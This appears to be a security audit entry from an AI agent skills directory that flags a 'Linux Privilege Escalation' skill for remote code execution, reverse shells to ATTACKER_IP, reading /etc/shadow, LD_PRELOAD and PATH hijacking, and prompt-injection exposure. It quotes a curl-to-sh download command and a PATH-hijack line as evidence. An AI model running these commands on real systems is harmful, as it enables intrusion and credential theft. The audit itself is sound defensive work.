The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and immediately execute shell scripts from external, unverified repositories.
Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh and instructions to fetch payloads from ATTACKER_IP.
[PRIVILEGE_ESCALATION]: The core functionality focuses on bypassing security controls to gain root access through sudo misconfigurations, SUID binaries, and kernel exploits.
Evidence: Instructions for LD_PRELOAD exploitation, sudo abuse (vim, find, awk), and hijacking SUID binaries.
[DATA_EXFILTRATION]: Provides several 'reverse shell' one-liners that enable remote command execution and data transfer to an external IP address.
Evidence: Bash, Python, Netcat, and Perl reverse shell strings targeting ATTACKER_IP.
[CREDENTIALS_UNSAFE]: Includes methods to read sensitive system credential files and export them for offline cracking.
Evidence: Reading /etc/shadow and /etc/passwd via SUID binaries and using base64 for exfiltration.
[DYNAMIC_EXECUTION]: Involves compiling C code and shared objects at runtime to exploit kernel vulnerabilities or library loading mechanisms.
Evidence: Using gcc to compile exploit.c and shell.so shared libraries for LD_PRELOAD attacks.
[COMMAND_EXECUTION]: Manipulates the system environment and paths to redirect execution flow to malicious binaries.
Evidence: Modifying the PATH environment variable (export PATH=/tmp:$PATH) and appending malicious commands to writable cron scripts.
[INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted system data and process lists which could be manipulated to influence agent behavior, though no explicit sanitization is present.
Ingestion points: Output from uname, ps aux, id, and configuration file reads (SKILL.md).
Boundary markers: Absent.
Capability inventory: gcc, curl, sudo, chmod, base64, find, netcat.
Sanitization: Absent.

Linux Privilege Escalation